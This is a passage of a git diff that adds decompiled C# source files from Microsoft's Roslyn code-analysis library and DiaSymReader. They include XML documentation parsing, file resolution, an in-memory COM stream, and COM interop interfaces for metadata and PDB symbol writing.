- _text.Length, buffer, ref index, ref count); + if (num == count) + { + _readsPastTheEnd++; + buffer[index] = ' '; + count--; + } + return num - count; + } + + private static int EncodeAndAdvance(string src, int srcIndex, char[] dest, ref int destIndex, ref int destCount) + { + if (destCount == 0 || srcIndex < 0 || srcIndex >= src.Length) + { + return 0; + } + int num = Math.Min(src.Length - srcIndex, destCount); + src.CopyTo(srcIndex, dest, destIndex, num); + destIndex += num; + destCount -= num; + return num; + } + + public override int Read() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/DocumentationComments/XmlDocumentationCommentTextReader.XmlStream.cs", 147); + } + + public override int Peek() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/DocumentationComments/XmlDocumentationCommentTextReader.XmlStream.cs", 153); + } + } + + private XmlReader _reader; + + private readonly Reader _textReader = new Reader(); + + private static readonly ObjectPool s_pool = new ObjectPool(() => new XmlDocumentationCommentTextReader(), 2); + + private static readonly XmlReaderSettings s_xmlSettings = new XmlReaderSettings + { + DtdProcessing = DtdProcessing.Prohibit + }; + + public static XmlException ParseAndGetException(string text) + { + XmlDocumentationCommentTextReader xmlDocumentationCommentTextReader = s_pool.Allocate(); + XmlException result = xmlDocumentationCommentTextReader.ParseInternal(text); + s_pool.Free(xmlDocumentationCommentTextReader); + return result; + } + + internal XmlException ParseInternal(string text) + { + _textReader.SetText(text); + if (_reader == null) + { + _reader = XmlReader.Create(_textReader, s_xmlSettings); + } + try + { + do + { + _reader.Read(); + } + while (!Reader.ReachedEnd(_reader)); + if (_textReader.Eof) + { + _reader.Dispose(); + _reader = null; + _textReader.Reset(); + } + return null; + } + catch (XmlException result) + { + _reader.Dispose(); + _reader = null; + _textReader.Reset(); + return result; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlFileResolver.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlFileResolver.cs new file mode 100644 index 0000000..5166688 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlFileResolver.cs @@ -0,0 +1,75 @@ +using System; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public class XmlFileResolver : XmlReferenceResolver +{ + private readonly string? _baseDirectory; + + public static XmlFileResolver Default { get; } = new XmlFileResolver(null); + + public string? BaseDirectory => _baseDirectory; + + public XmlFileResolver(string? baseDirectory) + { + if (baseDirectory != null && PathUtilities.GetPathKind(baseDirectory) != PathKind.Absolute) + { + throw new ArgumentException(CodeAnalysisResources.AbsolutePathExpected, "baseDirectory"); + } + _baseDirectory = baseDirectory; + } + + public override string? ResolveReference(string path, string? baseFilePath) + { + if (baseFilePath != null) + { + string text = FileUtilities.ResolveRelativePath(path, baseFilePath, _baseDirectory); + if (FileExists(text)) + { + return FileUtilities.TryNormalizeAbsolutePath(text); + } + } + if (_baseDirectory != null) + { + string text = FileUtilities.ResolveRelativePath(path, _baseDirectory); + if (FileExists(text)) + { + return FileUtilities.TryNormalizeAbsolutePath(text); + } + } + return null; + } + + public override Stream OpenRead(string resolvedPath) + { + CompilerPathUtilities.RequireAbsolutePath(resolvedPath, "resolvedPath"); + return FileUtilities.OpenRead(resolvedPath); + } + + protected virtual bool FileExists([NotNullWhen(true)] string? resolvedPath) + { + return File.Exists(resolvedPath); + } + + public override bool Equals(object? obj) + { + if (obj == null || GetType() != obj.GetType()) + { + return false; + } + XmlFileResolver xmlFileResolver = (XmlFileResolver)obj; + return string.Equals(_baseDirectory, xmlFileResolver._baseDirectory, StringComparison.Ordinal); + } + + public override int GetHashCode() + { + if (_baseDirectory == null) + { + return 0; + } + return StringComparer.Ordinal.GetHashCode(_baseDirectory); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlLocation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlLocation.cs new file mode 100644 index 0000000..eab073b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlLocation.cs @@ -0,0 +1,62 @@ +using System; +using System.Xml; +using System.Xml.Linq; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +internal class XmlLocation : Location, IEquatable +{ + private readonly FileLinePositionSpan _positionSpan; + + public override LocationKind Kind => LocationKind.XmlFile; + + private XmlLocation(string path, int lineNumber, int columnNumber) + { + LinePosition start = new LinePosition(lineNumber, columnNumber); + LinePosition end = new LinePosition(lineNumber, columnNumber + 1); + _positionSpan = new FileLinePositionSpan(path, start, end); + } + + public static XmlLocation Create(XmlException exception, string path) + { + int lineNumber = Math.Max(exception.LineNumber - 1, 0); + int columnNumber = Math.Max(exception.LinePosition - 1, 0); + return new XmlLocation(path, lineNumber, columnNumber); + } + + public static XmlLocation Create(XObject obj, string path) + { + int lineNumber = Math.Max(((IXmlLineInfo)obj).LineNumber - 1, 0); + int columnNumber = Math.Max(((IXmlLineInfo)obj).LinePosition - 1, 0); + return new XmlLocation(path, lineNumber, columnNumber); + } + + public override FileLinePositionSpan GetLineSpan() + { + return _positionSpan; + } + + public bool Equals(XmlLocation? other) + { + if ((object)this == other) + { + return true; + } + if (other != null) + { + return other._positionSpan.Equals(_positionSpan); + } + return false; + } + + public override bool Equals(object? obj) + { + return Equals(obj as XmlLocation); + } + + public override int GetHashCode() + { + return _positionSpan.GetHashCode(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlReferenceResolver.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlReferenceResolver.cs new file mode 100644 index 0000000..8d099e9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlReferenceResolver.cs @@ -0,0 +1,25 @@ +using System; +using System.IO; + +namespace Microsoft.CodeAnalysis; + +public abstract class XmlReferenceResolver +{ + public abstract override bool Equals(object? other); + + public abstract override int GetHashCode(); + + public abstract string? ResolveReference(string path, string? baseFilePath); + + public abstract Stream OpenRead(string resolvedPath); + + internal Stream OpenReadChecked(string fullPath) + { + Stream stream = OpenRead(fullPath); + if (stream == null || !stream.CanRead) + { + throw new InvalidOperationException(CodeAnalysisResources.ReferenceResolverShouldReturnReadableNonNullStream); + } + return stream; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ComMemoryStream.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ComMemoryStream.cs new file mode 100644 index 0000000..d848365 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ComMemoryStream.cs @@ -0,0 +1,226 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.InteropServices; +using System.Runtime.InteropServices.ComTypes; + +namespace Microsoft.DiaSymReader; + +internal sealed class ComMemoryStream : IUnsafeComStream +{ + internal const int STREAM_SEEK_SET = 0; + + internal const int STREAM_SEEK_CUR = 1; + + internal const int STREAM_SEEK_END = 2; + + private readonly int _chunkSize; + + private readonly List _chunks = new List(); + + private int _position; + + private int _length; + + public ComMemoryStream(int chunkSize = 32768) + { + _chunkSize = chunkSize; + } + + public void CopyTo(Stream stream) + { + if (stream.CanSeek) + { + stream.SetLength(stream.Position + _length); + } + int num = 0; + int num2 = _length; + while (num2 > 0) + { + int num3; + if (num < _chunks.Count) + { + byte[] array = _chunks[num]; + num3 = Math.Min(array.Length, num2); + stream.Write(array, 0, num3); + num++; + } + else + { + num3 = num2; + for (int i = 0; i < num3; i++) + { + stream.WriteByte(0); + } + } + num2 -= num3; + } + } + + public IEnumerable> GetChunks() + { + int chunkIndex = 0; + int remainingBytes = _length; + while (remainingBytes > 0) + { + byte[] array; + int bytesToCopy; + if (chunkIndex < _chunks.Count) + { + array = _chunks[chunkIndex]; + bytesToCopy = Math.Min(array.Length, remainingBytes); + chunkIndex++; + } + else + { + array = new byte[remainingBytes]; + bytesToCopy = remainingBytes; + } + yield return new ArraySegment(array, 0, bytesToCopy); + remainingBytes -= bytesToCopy; + } + } + + private unsafe static void ZeroMemory(byte* dest, int count) + { + byte* ptr = dest; + while (count-- > 0) + { + *(ptr++) = 0; + } + } + + unsafe void IUnsafeComStream.Read(byte* pv, int cb, int* pcbRead) + { + int num = _position / _chunkSize; + int num2 = _position % _chunkSize; + int num3 = 0; + int num4 = 0; + while (true) + { + int num5 = Math.Min(_length - _position, Math.Min(cb, _chunkSize - num2)); + if (num5 == 0) + { + break; + } + if (num < _chunks.Count) + { + Marshal.Copy(_chunks[num], num2, (IntPtr)(pv + num3), num5); + } + else + { + ZeroMemory(pv + num3, num5); + } + num4 += num5; + _position += num5; + cb -= num5; + num3 += num5; + num++; + num2 = 0; + } + if (pcbRead != null) + { + *pcbRead = num4; + } + } + + private int SetPosition(int newPos) + { + if (newPos < 0) + { + newPos = 0; + } + _position = newPos; + if (newPos > _length) + { + _length = newPos; + } + return newPos; + } + + unsafe void IUnsafeComStream.Seek(long dlibMove, int origin, long* plibNewPosition) + { + int num = origin switch + { + 0 => SetPosition((int)dlibMove), + 1 => SetPosition(_position + (int)dlibMove), + 2 => SetPosition(_length + (int)dlibMove), + _ => throw new ArgumentException(string.Format("{0} ({1}) is invalid.", "origin", origin), "origin"), + }; + if (plibNewPosition != null) + { + *plibNewPosition = num; + } + } + + void IUnsafeComStream.SetSize(long libNewSize) + { + _length = (int)libNewSize; + } + + void IUnsafeComStream.Stat(out STATSTG pstatstg, int grfStatFlag) + { + pstatstg = new STATSTG + { + cbSize = _length + }; + } + + unsafe void IUnsafeComStream.Write(byte* pv, int cb, int* pcbWritten) + { + int num = _position / _chunkSize; + int num2 = _position % _chunkSize; + int num3 = 0; + while (true) + { + int num4 = Math.Min(cb, _chunkSize - num2); + if (num4 == 0) + { + break; + } + while (num >= _chunks.Count) + { + _chunks.Add(new byte[_chunkSize]); + } + Marshal.Copy((IntPtr)(pv + num3), _chunks[num], num2, num4); + num3 += num4; + cb -= num4; + num++; + num2 = 0; + } + SetPosition(_position + num3); + if (pcbWritten != null) + { + *pcbWritten = num3; + } + } + + void IUnsafeComStream.Commit(int grfCommitFlags) + { + } + + void IUnsafeComStream.Clone(out IStream ppstm) + { + throw new NotSupportedException(); + } + + unsafe void IUnsafeComStream.CopyTo(IStream pstm, long cb, int* pcbRead, int* pcbWritten) + { + throw new NotSupportedException(); + } + + void IUnsafeComStream.LockRegion(long libOffset, long cb, int lockType) + { + throw new NotSupportedException(); + } + + void IUnsafeComStream.Revert() + { + throw new NotSupportedException(); + } + + void IUnsafeComStream.UnlockRegion(long libOffset, long cb, int lockType) + { + throw new NotSupportedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/EmptyArray.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/EmptyArray.cs new file mode 100644 index 0000000..6d67786 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/EmptyArray.cs @@ -0,0 +1,6 @@ +namespace Microsoft.DiaSymReader; + +internal static class EmptyArray +{ + public static readonly T[] Instance = new T[0]; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/HResult.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/HResult.cs new file mode 100644 index 0000000..4550f76 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/HResult.cs @@ -0,0 +1,16 @@ +namespace Microsoft.DiaSymReader; + +internal static class HResult +{ + internal const int S_OK = 0; + + internal const int S_FALSE = 1; + + internal const int E_NOTIMPL = -2147467263; + + internal const int E_FAIL = -2147467259; + + internal const int E_INVALIDARG = -2147024809; + + internal const int E_UNEXPECTED = -2147418113; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IMetadataEmit.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IMetadataEmit.cs new file mode 100644 index 0000000..2f722fa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IMetadataEmit.cs @@ -0,0 +1,109 @@ +using System.Runtime.InteropServices; +using System.Security; + +namespace Microsoft.DiaSymReader; + +[ComImport] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +[Guid("BA3FEE4C-ECB9-4e41-83B7-183FA41CD859")] +[SuppressUnmanagedCodeSecurity] +internal interface IMetadataEmit +{ + void __SetModuleProps(); + + void __Save(); + + void __SaveToStream(); + + void __GetSaveSize(); + + void __DefineTypeDef(); + + void __DefineNestedType(); + + void __SetHandler(); + + void __DefineMethod(); + + void __DefineMethodImpl(); + + void __DefineTypeRefByName(); + + void __DefineImportType(); + + void __DefineMemberRef(); + + void __DefineImportMember(); + + void __DefineEvent(); + + void __SetClassLayout(); + + void __DeleteClassLayout(); + + void __SetFieldMarshal(); + + void __DeleteFieldMarshal(); + + void __DefinePermissionSet(); + + void __SetRVA(); + + unsafe int GetTokenFromSig(byte* voidPointerSig, int byteCountSig); + + void __DefineModuleRef(); + + void __SetParent(); + + void __GetTokenFromTypeSpec(); + + void __SaveToMemory(); + + void __DefineUserString(); + + void __DeleteToken(); + + void __SetMethodProps(); + + void __SetTypeDefProps(); + + void __SetEventProps(); + + void __SetPermissionSetProps(); + + void __DefinePinvokeMap(); + + void __SetPinvokeMap(); + + void __DeletePinvokeMap(); + + void __DefineCustomAttribute(); + + void __SetCustomAttributeValue(); + + void __DefineField(); + + void __DefineProperty(); + + void __DefineParam(); + + void __SetFieldProps(); + + void __SetPropertyProps(); + + void __SetParamProps(); + + void __DefineSecurityAttributeSet(); + + void __ApplyEditAndContinue(); + + void __TranslateSigWithScope(); + + void __SetMethodImplFlags(); + + void __SetFieldRVA(); + + void __Merge(); + + void __MergeEnd(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IMetadataImport.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IMetadataImport.cs new file mode 100644 index 0000000..8197844 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IMetadataImport.cs @@ -0,0 +1,198 @@ +using System; +using System.Reflection; +using System.Runtime.InteropServices; + +namespace Microsoft.DiaSymReader; + +[ComImport] +[ComVisible(false)] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +[Guid("7DAC8207-D3AE-4c75-9B67-92801A497D44")] +internal interface IMetadataImport +{ + [PreserveSig] + unsafe void CloseEnum(void* enumHandle); + + [PreserveSig] + unsafe int CountEnum(void* enumHandle, out int count); + + [PreserveSig] + unsafe int ResetEnum(void* enumHandle, int position); + + [PreserveSig] + unsafe int EnumTypeDefs(ref void* enumHandle, [Out] int* typeDefs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumInterfaceImpls(ref void* enumHandle, int typeDef, [Out] int* interfaceImpls, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumTypeRefs(ref void* enumHandle, [Out] int* typeRefs, int bufferLength, [Out] int* count); + + [PreserveSig] + int FindTypeDefByName(string name, int enclosingClass, out int typeDef); + + [PreserveSig] + unsafe int GetScopeProps([Out] char* name, int bufferLength, [Out] int* nameLength, [Out] Guid* mvid); + + [PreserveSig] + int GetModuleFromScope(out int moduleDef); + + [PreserveSig] + unsafe int GetTypeDefProps(int typeDef, [Out] char* qualifiedName, int qualifiedNameBufferLength, [Out] int* qualifiedNameLength, [Out] TypeAttributes* attributes, [Out] int* baseType); + + [PreserveSig] + unsafe int GetInterfaceImplProps(int interfaceImpl, [Out] int* typeDef, [Out] int* interfaceDefRefSpec); + + [PreserveSig] + unsafe int GetTypeRefProps(int typeRef, [Out] int* resolutionScope, [Out] char* qualifiedName, int qualifiedNameBufferLength, [Out] int* qualifiedNameLength); + + [PreserveSig] + int ResolveTypeRef(int typeRef, [In] ref Guid scopeInterfaceId, [MarshalAs(UnmanagedType.Interface)] out object scope, out int typeDef); + + [PreserveSig] + unsafe int EnumMembers(ref void* enumHandle, int typeDef, [Out] int* memberDefs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumMembersWithName(ref void* enumHandle, int typeDef, string name, [Out] int* memberDefs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumMethods(ref void* enumHandle, int typeDef, [Out] int* methodDefs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumMethodsWithName(ref void* enumHandle, int typeDef, string name, [Out] int* methodDefs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumFields(ref void* enumHandle, int typeDef, [Out] int* fieldDefs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumFieldsWithName(ref void* enumHandle, int typeDef, string name, [Out] int* fieldDefs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumParams(ref void* enumHandle, int methodDef, [Out] int* paramDefs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumMemberRefs(ref void* enumHandle, int parentToken, [Out] int* memberRefs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumMethodImpls(ref void* enumHandle, int typeDef, [Out] int* implementationTokens, [Out] int* declarationTokens, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumPermissionSets(ref void* enumHandle, int token, uint action, [Out] int* declSecurityTokens, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int FindMember(int typeDef, string name, [In] byte* signature, int signatureLength, out int memberDef); + + [PreserveSig] + unsafe int FindMethod(int typeDef, string name, [In] byte* signature, int signatureLength, out int methodDef); + + [PreserveSig] + unsafe int FindField(int typeDef, string name, [In] byte* signature, int signatureLength, out int fieldDef); + + [PreserveSig] + unsafe int FindMemberRef(int typeDef, string name, [In] byte* signature, int signatureLength, out int memberRef); + + [PreserveSig] + unsafe int GetMethodProps(int methodDef, [Out] int* declaringTypeDef, [Out] char* name, int nameBufferLength, [Out] int* nameLength, [Out] MethodAttributes* attributes, [Out] byte** signature, [Out] int* signatureLength, [Out] int* relativeVirtualAddress, [Out] MethodImplAttributes* implAttributes); + + [PreserveSig] + unsafe int GetMemberRefProps(int memberRef, [Out] int* declaringType, [Out] char* name, int nameBufferLength, [Out] int* nameLength, [Out] byte** signature, [Out] int* signatureLength); + + [PreserveSig] + unsafe int EnumProperties(ref void* enumHandle, int typeDef, [Out] int* properties, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe uint EnumEvents(ref void* enumHandle, int typeDef, [Out] int* events, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int GetEventProps(int @event, [Out] int* declaringTypeDef, [Out] char* name, int nameBufferLength, [Out] int* nameLength, [Out] int* attributes, [Out] int* eventType, [Out] int* adderMethodDef, [Out] int* removerMethodDef, [Out] int* raiserMethodDef, [Out] int* otherMethodDefs, int otherMethodDefBufferLength, [Out] int* methodMethodDefsLength); + + [PreserveSig] + unsafe int EnumMethodSemantics(ref void* enumHandle, int methodDef, [Out] int* eventsAndProperties, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int GetMethodSemantics(int methodDef, int eventOrProperty, [Out] int* semantics); + + [PreserveSig] + unsafe int GetClassLayout(int typeDef, [Out] int* packSize, [Out] MetadataImportFieldOffset* fieldOffsets, int bufferLength, [Out] int* count, [Out] int* typeSize); + + [PreserveSig] + unsafe int GetFieldMarshal(int fieldDef, [Out] byte** nativeTypeSignature, [Out] int* nativeTypeSignatureLengvth); + + [PreserveSig] + unsafe int GetRVA(int methodDef, [Out] int* relativeVirtualAddress, [Out] int* implAttributes); + + [PreserveSig] + unsafe int GetPermissionSetProps(int declSecurity, [Out] uint* action, [Out] byte** permissionBlob, [Out] int* permissionBlobLength); + + [PreserveSig] + unsafe int GetSigFromToken(int standaloneSignature, [Out] byte** signature, [Out] int* signatureLength); + + [PreserveSig] + unsafe int GetModuleRefProps(int moduleRef, [Out] char* name, int nameBufferLength, [Out] int* nameLength); + + [PreserveSig] + unsafe int EnumModuleRefs(ref void* enumHandle, [Out] int* moduleRefs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int GetTypeSpecFromToken(int typeSpec, [Out] byte** signature, [Out] int* signatureLength); + + [PreserveSig] + unsafe int GetNameFromToken(int token, [Out] byte* nameUtf8); + + [PreserveSig] + unsafe int EnumUnresolvedMethods(ref void* enumHandle, [Out] int* methodDefs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int GetUserString(int userStringToken, [Out] char* buffer, int bufferLength, [Out] int* length); + + [PreserveSig] + unsafe int GetPinvokeMap(int memberDef, [Out] int* attributes, [Out] char* importName, int importNameBufferLength, [Out] int* importNameLength, [Out] int* moduleRef); + + [PreserveSig] + unsafe int EnumSignatures(ref void* enumHandle, [Out] int* signatureTokens, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumTypeSpecs(ref void* enumHandle, [Out] int* typeSpecs, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int EnumUserStrings(ref void* enumHandle, [Out] int* userStrings, int bufferLength, [Out] int* count); + + [PreserveSig] + int GetParamForMethodIndex(int methodDef, int sequenceNumber, out int parameterToken); + + [PreserveSig] + unsafe int EnumCustomAttributes(ref void* enumHandle, int parent, int attributeType, [Out] int* customAttributes, int bufferLength, [Out] int* count); + + [PreserveSig] + unsafe int GetCustomAttributeProps(int customAttribute, [Out] int* parent, [Out] int* constructor, [Out] byte** value, [Out] int* valueLength); + + [PreserveSig] + int FindTypeRef(int resolutionScope, string name, out int typeRef); + + [PreserveSig] + unsafe int GetMemberProps(int member, [Out] int* declaringTypeDef, [Out] char* name, int nameBufferLength, [Out] int* nameLength, [Out] int* attributes, [Out] byte** signature, [Out] int* signatureLength, [Out] int* relativeVirtualAddress, [Out] int* implAttributes, [Out] int* constantType, [Out] byte** constantValue, [Out] int* constantValueLength); + + [PreserveSig] + unsafe int GetFieldProps(int fieldDef, [Out] int* declaringTypeDef, [Out] char* name, int nameBufferLength, [Out] int* nameLength, [Out] int* attributes, [Out] byte** signature, [Out] int* signatureLength, [Out] int* constantType, [Out] byte** constantValue, [Out] int* constantValueLength); + + [PreserveSig] + unsafe int GetPropertyProps(int propertyDef, [Out] int* declaringTypeDef, [Out] char* name, int nameBufferLength, [Out] int* nameLength, [Out] int* attributes, [Out] byte** signature, [Out] int* signatureLength, [Out] int* constantType, [Out] byte** constantValue, [Out] int* constantValueLength, [Out] int* setterMethodDef, [Out] int* getterMethodDef, [Out] int* outerMethodDefs, int outerMethodDefsBufferLength, [Out] int* otherMethodDefCount); + + [PreserveSig] + unsafe int GetParamProps(int parameter, [Out] int* declaringMethodDef, [Out] int* sequenceNumber, [Out] char* name, int nameBufferLength, [Out] int* nameLength, [Out] int* attributes, [Out] int* constantType, [Out] byte** constantValue, [Out] int* constantValueLength); + + [PreserveSig] + unsafe int GetCustomAttributeByName(int parent, string name, [Out] byte** value, [Out] int* valueLength); + + [PreserveSig] + bool IsValidToken(int token); + + [PreserveSig] + int GetNestedClassProps(int nestedClass, out int enclosingClass); + + [PreserveSig] + unsafe int GetNativeCallConvFromSig([In] byte* signature, int signatureLength, [Out] int* callingConvention); + + [PreserveSig] + int IsGlobal(int token, [Out] bool value); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IPdbWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IPdbWriter.cs new file mode 100644 index 0000000..b9462bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IPdbWriter.cs @@ -0,0 +1,21 @@ +using System.Runtime.InteropServices; +using System.Security; + +namespace Microsoft.DiaSymReader; + +[ComImport] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +[Guid("98ECEE1E-752D-11d3-8D56-00C04F680B2B")] +[SuppressUnmanagedCodeSecurity] +internal interface IPdbWriter +{ + int __SetPath(); + + int __OpenMod(); + + int __CloseMod(); + + int __GetPath(); + + void GetSignatureAge(out uint sig, out int age); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedAsyncMethodPropertiesWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedAsyncMethodPropertiesWriter.cs new file mode 100644 index 0000000..80e1a29 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedAsyncMethodPropertiesWriter.cs @@ -0,0 +1,17 @@ +using System.Runtime.InteropServices; +using System.Security; + +namespace Microsoft.DiaSymReader; + +[ComImport] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +[Guid("FC073774-1739-4232-BD56-A027294BEC15")] +[SuppressUnmanagedCodeSecurity] +internal interface ISymUnmanagedAsyncMethodPropertiesWriter +{ + void DefineKickoffMethod(int kickoffMethod); + + void DefineCatchHandlerILOffset(int catchHandlerOffset); + + unsafe void DefineAsyncStepInfo(int count, int* yieldOffsets, int* breakpointOffset, int* breakpointMethod); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedCompilerInfoWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedCompilerInfoWriter.cs new file mode 100644 index 0000000..e0f8cf7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedCompilerInfoWriter.cs @@ -0,0 +1,13 @@ +using System.Runtime.InteropServices; + +namespace Microsoft.DiaSymReader; + +[ComImport] +[Guid("2ae6a06a-92ba-4c2d-a64e-7e9fa421a330")] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +[ComVisible(false)] +internal interface ISymUnmanagedCompilerInfoWriter +{ + [PreserveSig] + int AddCompilerInfo(ushort major, ushort minor, ushort build, ushort revision, [MarshalAs(UnmanagedType.LPWStr)] string name); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedDocumentWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedDocumentWriter.cs new file mode 100644 index 0000000..f316f97 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedDocumentWriter.cs @@ -0,0 +1,16 @@ +using System; +using System.Runtime.InteropServices; +using System.Security; + +namespace Microsoft.DiaSymReader; + +[ComImport] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +[Guid("B01FAFEB-C450-3A4D-BEEC-B4CEEC01E006")] +[SuppressUnmanagedCodeSecurity] +internal interface ISymUnmanagedDocumentWriter +{ + unsafe void SetSource(uint sourceSize, byte* source); + + unsafe void SetCheckSum(Guid algorithmId, uint checkSumSize, byte* checkSum); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedWriter5.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedWriter5.cs new file mode 100644 index 0000000..f1bf178 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedWriter5.cs @@ -0,0 +1,78 @@ +using System; +using System.Runtime.InteropServices; +using System.Security; + +namespace Microsoft.DiaSymReader; + +[ComImport] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +[Guid("DCF7780D-BDE9-45DF-ACFE-21731A32000C")] +[SuppressUnmanagedCodeSecurity] +internal interface ISymUnmanagedWriter5 +{ + ISymUnmanagedDocumentWriter DefineDocument(string url, ref Guid language, ref Guid languageVendor, ref Guid documentType); + + void SetUserEntryPoint(int entryMethodToken); + + void OpenMethod(uint methodToken); + + void CloseMethod(); + + uint OpenScope(int startOffset); + + void CloseScope(int endOffset); + + void SetScopeRange(uint scopeID, uint startOffset, uint endOffset); + + unsafe void DefineLocalVariable(string name, uint attributes, uint sig, byte* signature, uint addrKind, uint addr1, uint addr2, uint startOffset, uint endOffset); + + void DefineParameter(string name, uint attributes, uint sequence, uint addrKind, uint addr1, uint addr2, uint addr3); + + unsafe void DefineField(uint parent, string name, uint attributes, uint sig, byte* signature, uint addrKind, uint addr1, uint addr2, uint addr3); + + unsafe void DefineGlobalVariable(string name, uint attributes, uint sig, byte* signature, uint addrKind, uint addr1, uint addr2, uint addr3); + + void Close(); + + unsafe void SetSymAttribute(uint parent, string name, int length, byte* data); + + void OpenNamespace(string name); + + void CloseNamespace(); + + void UsingNamespace(string fullName); + + void SetMethodSourceRange(ISymUnmanagedDocumentWriter startDoc, uint startLine, uint startColumn, object endDoc, uint endLine, uint endColumn); + + void Initialize([MarshalAs(UnmanagedType.IUnknown)] object emitter, string filename, [MarshalAs(UnmanagedType.IUnknown)] object ptrIStream, bool fullBuild); + + unsafe void GetDebugInfo(ref ImageDebugDirectory debugDirectory, uint dataCount, out uint dataCountPtr, byte* data); + + void DefineSequencePoints(ISymUnmanagedDocumentWriter document, int count, [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] int[] offsets, [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] int[] lines, [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] int[] columns, [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] int[] endLines, [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] int[] endColumns); + + void RemapToken(uint oldToken, uint newToken); + + void 